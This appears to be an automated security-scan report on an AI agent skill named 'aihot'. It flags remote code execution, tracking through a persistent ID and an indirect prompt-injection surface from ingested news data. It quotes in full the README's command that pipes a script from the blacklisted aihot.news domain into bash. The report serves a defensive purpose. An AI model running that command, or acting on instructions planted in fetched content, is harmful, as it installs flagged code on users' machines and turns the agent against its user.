The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The README.md file contains installation instructions that direct users to pipe a remote script to a bash shell using the command bash <(curl -fsSL https://aihot.news/aihot-skill/install.sh). This URL and domain have been blacklisted by automated security scanners, and the install.sh file itself has been flagged as malicious.
[REMOTE_CODE_EXECUTION]: The install.sh script downloads additional components from the same untrusted domain. While it performs SHA-256 integrity checks, the manifest source is the same blacklisted domain, providing no actual security against supply chain attacks from the vendor.
[DATA_EXFILTRATION]: The skill generates and stores a persistent, random UUID in ~/.aihot-actor-id. This identifier is exfiltrated to aihot.news in the User-Agent header of every API request, enabling cross-channel tracking of the user's agent activity.
[INDIRECT_PROMPT_INJECTION]: The skill exposes a significant attack surface by ingesting large volumes of external news and dynamic event data from aihot.news/api/v1/items.
Ingestion points: API responses processed in SKILL.md and synchronization logic in references/sync.md.
Boundary markers: SKILL.md contains instructions to treat API content as untrusted, but these are solely dependent on the model's adherence to instructions.
Capability inventory: The skill has the capability to perform network requests and access local files for Actor ID management.
Sanitization: There is no programmatic sanitization of the external content; the skill relies on natural language instructions to the agent to avoid executing commands found in the data.
[DYNAMIC_EXECUTION]: The install.sh script executes arbitrary code snippets via python3 -c and node -e on the host system to generate UUIDs. While bounded to specific tasks, this demonstrates the presence of dynamic execution capabilities in the installer.

aihot